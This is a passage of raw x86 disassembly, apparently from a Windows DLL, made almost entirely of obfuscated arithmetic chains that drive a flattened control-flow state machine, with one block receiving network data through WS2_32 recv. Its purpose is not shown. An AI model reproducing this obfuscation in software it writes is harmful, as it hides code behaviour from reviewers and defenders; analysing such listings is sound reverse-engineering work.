xor eax, eax
sub eax, edx
and eax, 0xc5b9e715
mov edi, eax
xor edi, 0xffffffff
and edi, 0xe265aad8
mov edx, 0xffffffff
xor edx, 0xe265aad8
and eax, edx
or edi, eax
mov eax, edi
xor eax, 0xffffffff
and eax, 0x1c3fde65
mov esi, 0xffffffff
xor esi, 0x1c3fde65
and edi, esi
mov edx, 0xffffffff
xor edx, 0xfa2e6d26
and edx, 0x1c3fde65
and esi, 0xfa2e6d26
or eax, edi
or edx, esi
xor eax, edx
add eax, 0x8a129a0c
mov esi, 0xb5287146
xor edx, edx
div esi
mov esi, 0xd08e72e6
xor edx, edx
div esi
add eax, 0xd36b38e1
add eax, 0xa8171e1b
sub eax, 0xd36b38e1
mov esi, 0xffffffff
xor esi, 0x963fdd6f
mov edx, eax
and edx, esi
mov esi, eax
xor esi, 0x963fdd6f
add eax, esi
sub eax, edx
mov edx, eax
and edx, 0xf5c04cb1
xor edx, 0xffffffff
add eax, 0xf5c04cb1
add eax, 1
add eax, edx
mov esi, eax
xor esi, 0xffffffff
and esi, 0x2e7df325
mov edi, 0xffffffff
xor edi, 0x2e7df325
mov edx, eax
and edx, edi
imul edx, esi
mov esi, eax
and esi, 0x2e7df325
or eax, 0x2e7df325
imul eax, esi
add eax, edx
mov esi, 0xadef9533
xor edx, edx
div esi
xor edx, edx
sub edx, 0x6732a5b1
add eax, edx
xor eax, 0xd9e20114
sub eax, 0x74c621f
add eax, 0x652e742b
add eax, 0x74c621f
xor eax, 0xd5faa355
mov esi, 0xe7d29af9
xor edx, edx
div esi
mov esi, 0xb48ad1fe
xor edx, edx
div esi
mov edx, eax
sub edx, 0x5b683133
xor edx, 0x6b3120a4
or edx, 0xd3437d1c
mov esi, edx
xor esi, 0xffffffff
and esi, 0x70d47b97
mov edi, 0xffffffff
xor edi, 0x70d47b97
mov eax, edx
and eax, edi
imul eax, esi
mov esi, edx
and esi, 0x70d47b97
or edx, 0x70d47b97
imul edx, esi
add edx, eax
mov eax, edx
or eax, eax
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xd3db26ec
mov edi, 0xffffffff
xor edi, 0xd3db26ec
and esi, edi
xor eax, 0xffffffff
xor esi, 0xffffffff
and eax, esi
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xd3db26ec
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
sub eax, 0x68a93d5f
mov edx, 0xffffffff
xor edx, 0x58dd8ea9
add eax, edx
add eax, 1
xor eax, 0x9bb20b29
sub eax, 0xb246455
mov esi, 0xa474eaa8
xor edx, edx
div esi
mov esi, eax
mov eax, dword [ebp - 0x6c]
or esi, 0x40bf3068
xor esi, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x970a1842
mov edx, 0xffffffff
xor edx, 0x8ae33475
or esi, edi
or edx, 0x8ae33475
xor esi, 0xffffffff
and esi, edx
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_recv]
mov ecx, dword [ebp - 0x54]
mov edx, eax
mov eax, dword [ebp - 0x68]
mov dword [eax], edx
lea eax, [0x101cb5d0]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1d
call fcn.101af440
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x54]
add esp, 4
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10077950
mov ecx, dword [ebp - 0x50]
add esp, 8
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], edx
cmp dword [ecx], 0
setne cl
mov byte [ebp - 0x135], cl
mov ecx, 0x36ed4c99
mov edx, 0x44231144
cmp esi, 0x47768107
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x94]
mov dword [ecx], 0
mov dword [eax], 0xed54afe4
jmp 0x1009a830
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xb378dd22
jmp 0x1009a830
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], 0
mov dword [eax], 0xd663cff1
jmp 0x1009a830
mov eax, dword [0x101cddec]
mov ecx, dword [0x101cddf0]
mov esi, eax
and esi, ecx
xor eax, ecx
or esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x726312f5
mov edx, 0xffffffff
xor edx, 0x726312f5
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xb5318300
and ecx, 0x726312f5
and edx, 0xb5318300
or eax, esi
or ecx, edx
xor eax, ecx
mov esi, 0xffffffff
xor esi, 0xafd16d4a
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xafd16d4a
or eax, 0xafd16d4a
imul eax, edx
add eax, ecx
mov ecx, 0x6ecd10b1
xor edx, edx
div ecx
mov ecx, 0xef389c4d
xor edx, edx
div ecx
mov ecx, 0xe91e9e6b
xor edx, edx
div ecx
mov esi, eax
and esi, 0x84f572ad
mov eax, esi
xor eax, 0xffffffff
and eax, 0xd02ebed2
mov edx, 0xffffffff
xor edx, 0xd02ebed2
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xdaa5b22a
and ecx, 0xd02ebed2
and edx, 0xdaa5b22a
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, 0x3a2d88e0
xor edx, edx
div ecx
imul ecx, eax, 0x1ac323f6
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x4393a467
mov eax, 0xffffffff
xor eax, 0xf8f3800f
or ecx, edx
or eax, 0xf8f3800f
xor ecx, 0xffffffff
and ecx, eax
xor ecx, 0x48019974
and ecx, 0x814808db
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x4cb8890b
mov esi, 0xffffffff
xor esi, 0x4cb8890b
and edx, esi
or eax, edx
xor eax, 0xffffffff
or ecx, 0x4cb8890b
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
xor eax, 0xb4439797
or eax, 0xa0547b0c
mov ecx, 0x63148bae
xor edx, edx
div ecx
sub eax, 0xf518444
or eax, 0x53a1ea3a
xor ecx, ecx
sub ecx, 0x966f357b
add eax, ecx
mov edx, 0xffffffff
xor edx, 0x256d16d3
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x256d16d3
add eax, edx
sub eax, ecx
mov ecx, 0x64111597
xor edx, edx
div ecx
mov ecx, 0x33f729a7
xor edx, edx
div ecx
mov ecx, 0x59c334
xor edx, edx
div ecx
or eax, 0x6da1843d
xor eax, 0xea7e2178
mov ecx, eax
and ecx, 0xe2b04fa9
or eax, 0xe2b04fa9
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x75a540b9
or eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x75a540b9
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0x57f2cec
xor edx, edx
div ecx
mov ecx, 0x5638c962
xor edx, edx
div ecx
mov ecx, eax
mov edx, 0xffffffff
xor edx, 0x22096449
mov eax, ecx
xor eax, edx
and eax, ecx
mov edx, 0xffffffff
xor edx, 0x359051be
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x359051be
add eax, edx
sub eax, ecx
mov ecx, 0xf1043254
xor edx, edx
div ecx
mov ecx, 0x1085d06e
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x27609cf6
xor ecx, 0x27609cf6
or eax, ecx
mov ecx, 0xf1501a8
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
add ecx, 0x50a1145
xor edx, edx
sub edx, 0x44026afb
add ecx, edx
imul esi, ecx, 0x66de4db7
xor esi, 0x6d79b752
xor esi, 0x3c673330
mov ecx, 0x58ef971e
mov edx, 0xc522ea0f
cmp esi, 0x64772f2a
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [0x101cddf4]
add eax, dword [0x101cddf8]
or eax, 0x19389a5b
mov ecx, 0x881df2af
xor edx, edx
div ecx
mov ecx, 0x587292da
xor edx, edx
div ecx
sub eax, 0x25bdfac
sub eax, 0x78c3c6a
add eax, 0x25bdfac
sub eax, 0x38c4abda
mov ecx, 0xffffffff
xor ecx, 0x60673656
add eax, ecx
add eax, 1
mov ecx, 0xa82f5030
xor edx, edx
div ecx
mov ecx, eax
mov edx, 0xffffffff
xor edx, 0x6604bbfa
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, 0x3935c92a
xor edx, edx
div ecx
or eax, 0xa27f7cc7
mov edx, 0xffffffff
xor edx, 0x3c549b2d
mov ecx, eax
xor ecx, edx
and ecx, eax
mov edx, 0xffffffff
xor edx, 0xfac3dc50
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, 0xfac3dc50
add ecx, edx
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x8b1d81f4
mov edx, 0xffffffff
xor edx, 0x8b1d81f4
and ecx, edx
or eax, ecx
and eax, 0x98091f46
mov ecx, 0x5f8810d5
xor edx, edx
div ecx
mov edx, 0xffffffff
xor edx, 0x5cff23df
mov ecx, eax
xor ecx, edx
and ecx, eax
mov edx, ecx
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x2a098357
mov esi, 0xffffffff
xor esi, 0x91cb9af9
mov eax, edx
and eax, 0x91cb9af9
mov dword [ebp - 0x154], eax
and ecx, esi
mov ebx, edi
and ebx, 0x91cb9af9
mov eax, esi
and eax, 0x2a098357
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x154]
or eax, ecx
mov ecx, dword [ebp - 0x150]
or ebx, ecx
mov ecx, dword [ebp - 0x4c]
xor eax, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0x91cb9af9
and edx, esi
or eax, edx
and eax, 0x80380166
mov esi, 0x4d3cb2ad
xor edx, edx
div esi
mov esi, 0x9419e020
xor edx, edx
div esi
add eax, 0x9377916c
add eax, 0xeb34c79a
mov esi, eax
xor esi, 0xffffffff
and esi, 0xd275c711
mov edi, 0xffffffff
xor edi, 0xd275c711
mov edx, eax
and edx, edi
imul edx, esi
mov esi, eax
and esi, 0xd275c711
or eax, 0xd275c711
imul eax, esi
add eax, edx
mov esi, 0x5f51c233
xor edx, edx
div esi
mov edx, eax
add edx, 0x34c42054
mov eax, edx
xor eax, 0xffffffff
mov esi, edx
xor esi, 0xffffffff
or eax, esi
and eax, 0xd64e870
xor eax, 0xffffffff
mov esi, 0xd64e870
and esi, 0xd64e870
xor esi, 0xffffffff
and edx, esi
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
mov edx, eax
and edx, 0x61daf965
shl edx, 1
add eax, 0x61daf965
sub eax, edx
imul edx, eax, 0xf9348023
add edx, 0x4ef3eadb
mov eax, edx
and eax, 0x7dc5a04b
xor edx, 0x7dc5a04b
or eax, edx
xor eax, 0x3182ba0d
mov edx, 0xffffffff
xor edx, 0xc903d63e
xor esi, esi
sub esi, 1
sub edx, esi
sub eax, edx
add eax, 0x8a55dee6
add eax, 0x4ccbe1c9
sub eax, 0x8a55dee6
sub eax, 0xaecdd325
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x26525622
mov edx, 0xffffffff
xor edx, 0x969cf18b
or eax, esi
or edx, 0x969cf18b
xor eax, 0xffffffff
and eax, edx
and eax, 0xdf2cae1
imul eax, eax, 0xcd152620
or eax, 0x6b8b297a
mov esi, 0xe679beac
xor edx, edx
div esi
mov edx, dword [ebp - 0x68]
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov edi, 0xffffffff
xor edi, 0x4fae23c8
xor ebx, ebx
sub ebx, 1
sub edi, ebx
sub esi, edi
mov ecx, dword [ecx]
cmp ecx, dword [edx]
setl cl
mov byte [ebp - 0x149], cl
mov ecx, 0x10184987
mov edx, 0x58ef971e
cmp esi, 0xffe0cae
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [0x101cddfc]
xor edx, edx
div dword [0x101cde00]
mov edx, eax
xor edx, 0xffffffff
and edx, 0x249feda6
mov esi, 0xffffffff
xor esi, 0x249feda6
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x249feda6
or eax, 0x249feda6
imul eax, edx
add eax, ecx
mov ecx, 0xa0d4ad4c
xor edx, edx
div ecx
mov ecx, eax
mov edx, 0xffffffff
xor edx, 0x2048eae4
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and ecx, edx
mov edx, 0xc840034a
or edx, 0xc840034a
xor edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xc840034a
and eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
add ecx, 0x8b0da68f
sub ecx, 0xcbc4c67d
sub ecx, 0x8b0da68f
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0x1bf45bcb
mov esi, 0xffffffff
xor esi, 0x1bf45bcb
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x1bf45bcb
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
and eax, 0x327956d0
sub eax, 0xcc6fb6e6
imul ecx, eax, 0xf013f8f
xor eax, eax
sub eax, 0x3163d133
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x2694d0ad
mov edx, 0xffffffff
xor edx, 0x2694d0ad
and ecx, edx
or eax, ecx
and eax, 0xd76e7cd7
sub eax, 0x93fd1233
sub eax, 0xd0d9efe7
add eax, 0x93fd1233
add eax, 0x81e4792e
xor ecx, ecx
sub ecx, 0x127a8f62
add eax, ecx
add eax, 0x2415bfd
imul ecx, eax, 0xa6b847c0
or ecx, 0x4f24260e
add ecx, 0xfd794ce3
add ecx, 0xa4242d9b
sub ecx, 0xfd794ce3
mov eax, ecx
and eax, 0x7fdfcde1
xor ecx, 0x7fdfcde1
or eax, ecx
xor ecx, ecx
sub ecx, 0x84830282
sub eax, ecx
and eax, 0x8a0fbeef
mov ecx, eax
and ecx, 0xa273a889
xor ecx, 0xffffffff
add eax, 0xa273a889
add eax, 1
add eax, ecx
or eax, 0xb1618f58
sub eax, 0xd285cf2a
mov ecx, 0x990a01bb
xor edx, edx
div ecx
sub eax, 0x9c10e943
mov edx, eax
xor edx, 0xffffffff
and edx, 0x4eae8496
mov esi, 0xffffffff
xor esi, 0x4eae8496
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x4eae8496
or eax, 0x4eae8496
imul eax, edx
add eax, ecx
mov ecx, 0x347aa1fe
xor edx, edx
div ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x7a5cf084
add eax, ecx
imul eax, eax, 0x5aab1729
sub eax, 0x96c90ba5
imul eax, eax, 0x4287c855
mov ecx, 0x3af7bf94
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
imul ecx, ecx, 0xbeafdb2d
sub ecx, 0xb4cdf583
sub ecx, 0xe61736dd
add ecx, 0x94a1a129
sub ecx, 0xea008631
sub ecx, 0x94a1a129
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, 0x103e5ce6
add edx, ecx
xor ecx, ecx
sub ecx, edx
imul esi, ecx, 0x7d73c9c5
mov ecx, 0x67dd7bd0
mov edx, 0x2d7ee0c8
cmp esi, 0x8208e746
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [0x101cde24]
xor edx, edx
div dword [0x101cde28]
mov ecx, 0xab279fc2
xor edx, edx
div ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x55c7f700
mov ecx, 0xffffffff
xor ecx, 0x5ec41e5d
or eax, edx
or ecx, 0x5ec41e5d
xor eax, 0xffffffff
and eax, ecx
and eax, 0x23de05be
mov ecx, 0x31844e98
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x3b356e41
mov esi, 0xffffffff
xor esi, 0x3b356e41
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x3b356e41
or eax, 0x3b356e41
imul eax, edx
add eax, ecx
xor eax, 0xc13c536a
and eax, 0xa78ec157
mov ecx, 0xcb86ed42
xor edx, edx
div ecx
and eax, eax
xor eax, 0xffffffff
mov ecx, 0x9c1ecd47
and ecx, 0x9c1ecd47
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
sub eax, 0x268d47d3
sub eax, 0x4421334d
add eax, 0x268d47d3
add eax, 0x9947b02d
mov ecx, 0x2d967f57
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x56c24afb
mov eax, ecx
xor eax, 0x4a9dce29
mov edx, 0xffffffff
xor edx, 0x4a9dce29
and ecx, edx
shl ecx, 1
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
and eax, 0x81560f65
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x81560f65
mov esi, 0xffffffff
xor esi, 0x81560f65
or edx, esi
and ecx, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
and eax, 0x12c0d7e1
sub eax, 0xffc2b2d0
sub eax, 0x646e51d6
add eax, 0xffc2b2d0
mov ecx, 0x9cd3e9fe
xor edx, edx
div ecx
sub eax, 0x1b95bce3
add eax, 0xb247ef07
mov ecx, eax
xor ecx, 0x8c1374b2
xor ecx, 0xffffffff
and ecx, 0x8c1374b2
shl ecx, 1
sub ecx, 0x8c1374b2
sub eax, ecx
imul ecx, eax, 0x1016c0d4
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x2646e29b
or eax, edx
and ecx, 0x2646e29b
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
add eax, 0x41f59428
sub eax, 0x3cf8b77b
sub eax, 0x41f59428
mov ecx, eax
xor ecx, 0x63ea2418
mov edx, 0xffffffff
xor edx, 0x63ea2418
and eax, edx
shl eax, 1
sub eax, ecx
and eax, 0x4b2d8dbb
or eax, 0x87fdf72b
and eax, 0x6b476f53
xor ecx, ecx
sub ecx, 0xd9a93d3d
add eax, ecx
or eax, 0xa29120a4
mov ecx, 0x55a307f9
xor edx, edx
div ecx
mov ecx, 0xbd4ac0af
xor edx, edx
div ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf336a015
mov ecx, 0xffffffff
xor ecx, 0x43539055
or eax, edx
or ecx, 0x43539055
xor eax, 0xffffffff
and eax, ecx
or eax, 0x36a44a6c
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x1ac2c8e9
mov edx, 0xffffffff
xor edx, 0x1ac2c8e9
and eax, edx
sub eax, ecx
xor eax, 0xaade7978
mov ecx, 0xc6ea0777
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x7000ea86
mov edx, 0xffffffff
xor edx, 0xd6fdf88c
mov esi, ecx
and esi, 0xd6fdf88c
and eax, edx
mov dword [ebp - 0x170], eax
mov ebx, edi
and ebx, 0xd6fdf88c
mov eax, edx
and eax, 0x7000ea86
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x170]
or esi, eax
mov eax, dword [ebp - 0x16c]
or ebx, eax
mov eax, dword [ebp - 0x1c]
xor esi, ebx
or ecx, edi
xor ecx, 0xffffffff
or edx, 0xd6fdf88c
and ecx, edx
or esi, ecx
mov ecx, 0xffffffff
xor ecx, 0xe3e57c26
xor edx, edx
sub edx, 1
sub ecx, edx
sub esi, ecx
add esi, 0xbccf82b0
mov ecx, 0x1a78b75a
mov edx, 0xe2d07f3e
cmp esi, 0xff36000a
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [ebp - 0x1c]
mov bl, byte [ebp - 0x15d]
mov ecx, 0x31187484
mov edx, 0x7bd16a51
test bl, 1
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [ebp - 0x1c]
mov bl, byte [ebp - 0x171]
mov ecx, 0x31187484
mov edx, 0x74bc627f
test bl, 1
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov ecx, dword [0x101cde64]
mov edx, dword [0x101cde68]
mov esi, ecx
xor esi, 0xffffffff
mov eax, edx
and eax, esi
xor edx, 0xffffffff
and ecx, edx
or eax, ecx
mov ecx, 0x18c1f56c
xor edx, edx
div ecx
imul ecx, eax, 0xa0f24749
xor eax, eax
sub eax, 0x245493cb
add ecx, eax
mov eax, ecx
and eax, 0xfd034aa7
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xfd034aa7
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
add eax, 0x1fa47028
add eax, 0x708b928b
mov ecx, eax
and ecx, 0xa97c7f5c
or eax, 0xa97c7f5c
add ecx, eax
or ecx, 0xf19acffa
mov edx, 0xffffffff
xor edx, 0xa12edcc6
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, 0xa12edcc6
add ecx, edx
sub ecx, eax
and ecx, 0x3bf1c3f3
mov eax, ecx
and eax, 0x2d1fe82
xor eax, 0xffffffff
add ecx, 0x2d1fe82
add ecx, 1
add ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xfead8ae5
mov esi, 0xffffffff
xor esi, 0xfead8ae5
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xfead8ae5
or ecx, 0xfead8ae5
imul ecx, edx
add ecx, eax
add ecx, 0x1e651791
mov eax, ecx
or eax, 0xc3bc3b55
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xc3bc3b55
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
and eax, 0xfbdc4f93
mov ecx, 0x6ec87480
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xb62cd9aa
and ecx, 0xb62cd9aa
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
and eax, 0x1d193e24
and eax, 0xe606571f
or eax, 0x3fcac35e
imul eax, eax, 0x811fd0c7
mov ecx, 0x3f16b9a7
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
or ecx, 0x31bd6618
mov esi, ecx
xor esi, 0xffffffff
and esi, 0xebed5f42
mov edi, 0xffffffff
xor edi, 0xebed5f42
mov edx, ecx
and edx, edi
imul edx, esi
mov esi, ecx
and esi, 0xebed5f42
or ecx, 0xebed5f42
imul ecx, esi
add ecx, edx
mov edx, ecx
xor edx, 0xc448f802
mov esi, 0xffffffff
xor esi, 0xc448f802
and ecx, esi
shl ecx, 1
sub ecx, edx
xor ecx, 0x16a9df5c
and ecx, 0xb6e61ebf
mov edx, ecx
xor edx, 0x5776c1d6
mov esi, 0xffffffff
xor esi, 0x5776c1d6
and ecx, esi
shl ecx, 1
sub ecx, edx
or ecx, 0xfdf6ae06
mov edx, 0xffffffff
xor edx, 0x9a5eb0bc
add ecx, edx
add ecx, 1
or ecx, 0x93ab79c4
imul ecx, ecx, 0xa11ab267
add ecx, 0xdd54e0f1
add ecx, 0x28b9ed61
sub ecx, 0xdd54e0f1
xor ecx, 0x254ba47f
mov edx, ecx
and edx, 0x24943f9f
shl edx, 1
xor ecx, 0x24943f9f
add ecx, edx
imul edi, ecx, 0xf6318014
xor edi, 0xbf4a44c9
or edi, 0xad46f095
mov esi, edi
xor esi, 0xffffffff
and esi, 0x38f87d44
mov edx, 0xffffffff
xor edx, 0x38f87d44
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0x12d3ef51
and ecx, 0x38f87d44
and edx, 0x12d3ef51
or esi, edi
or ecx, edx
xor esi, ecx
add esi, 0x50ba3309
mov ecx, 0x38e1845
mov edx, 0xb6ac7a2a
cmp esi, 0xfe730b78
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov esi, dword [0x101cde6c]
or esi, dword [0x101cde70]
or esi, 0x859efd4e
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xda28b83d
mov edx, 0xffffffff
xor edx, 0xda28b83d
and esi, edx
mov eax, 0xffffffff
xor eax, 0x96d2d88d
and eax, 0xda28b83d
and edx, 0x96d2d88d
or ecx, esi
or eax, edx
xor ecx, eax
mov edx, 0xffffffff
xor edx, 0x50cda161
mov eax, ecx
xor eax, edx
and eax, ecx
or eax, 0x3620aac6
xor ecx, ecx
sub ecx, 0x31765c9
add eax, ecx
or eax, 0x7f1a1c3d
or eax, 0xe222dd14
add eax, 0x7b56b38
add eax, 0x39e3f88d
sub eax, 0x7b56b38
sub eax, 0x4caa56e8
mov ecx, 0x7d46da41
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x71b4e10f
shl ecx, 1
add eax, 0x71b4e10f
sub eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x31e17419
mov esi, 0xffffffff
xor esi, 0x31e17419
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x31e17419
or eax, 0x31e17419
imul eax, edx
add eax, ecx
or eax, 0x52337e7c
sub eax, 0x791c3296
mov edx, eax
xor edx, 0xffffffff
and edx, 0x2f93feed
mov esi, 0xffffffff
xor esi, 0x2f93feed
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x2f93feed
or eax, 0x2f93feed
imul eax, edx
add eax, ecx
sub eax, 0x1e0acc82
mov ecx, 0xb7f0206b
xor edx, edx
div ecx
mov ecx, 0x963e3bcb
xor edx, edx
div ecx
imul eax, eax, 0x3e6f701
mov ecx, eax
and ecx, 0xc87fbbb3
or eax, 0xc87fbbb3
add ecx, eax
mov edx, 0xffffffff
xor edx, 0x593e4844
mov eax, ecx
xor eax, edx
and eax, ecx
add eax, 0x307d4033
and eax, 0xb08315cf
mov edx, eax
xor edx, 0xffffffff
and edx, 0xe1c7917f
mov esi, 0xffffffff
xor esi, 0xe1c7917f
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xe1c7917f
or eax, 0xe1c7917f
imul eax, edx
add eax, ecx
mov esi, 0xffffffff
xor esi, 0xda631722
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xda631722
or eax, 0xda631722
imul eax, edx
add eax, ecx
xor eax, 0x7ab6cc05
add eax, 0xbe8e206c
mov edx, eax
xor edx, 0xffffffff
and edx, 0xa41d73ce
mov esi, 0xffffffff
xor esi, 0xa41d73ce
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xa41d73ce
or eax, 0xa41d73ce
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xb6ab95fa
mov edx, 0xffffffff
xor edx, 0xb6ab95fa
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, 0x92558678
xor edx, edx
div ecx
imul ecx, eax, 0x16bb03ed
sub ecx, 0x41f5e07f
sub ecx, 0xd4421fae
add ecx, 0x41f5e07f
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xdacb433a
or eax, edx
and ecx, 0xdacb433a
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xde3769d1
add eax, ecx
add eax, 1
mov ecx, 0x9ebb0f10
xor edx, edx
div ecx
mov ecx, 0x32ba8211
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x7ec83b16
or ecx, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x7ec83b16
or eax, edx
and ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x495a4763
mov edx, 0xffffffff
xor edx, 0x495a4763
and ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xb79d404c
mov edx, 0xffffffff
xor edx, 0xb79d404c
and eax, edx
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xbf0618bb
mov edx, 0xffffffff
xor edx, 0xb73e726b
mov esi, ecx
and esi, 0xb73e726b
and eax, edx
mov dword [ebp - 0x188], eax
mov ebx, edi
and ebx, 0xb73e726b
mov eax, edx
and eax, 0xbf0618bb
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x188]
or esi, eax
mov eax, dword [ebp - 0x184]
or ebx, eax
mov eax, dword [ebp - 0x1c]
xor esi, ebx
or ecx, edi
xor ecx, 0xffffffff
or edx, 0xb73e726b
and ecx, edx
or esi, ecx
mov ecx, 0x7028eca2
mov edx, 0x7775f4b4
cmp esi, 0xac0a332c
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x31187484
jmp 0x1009a830
mov eax, dword [0x101cde94]
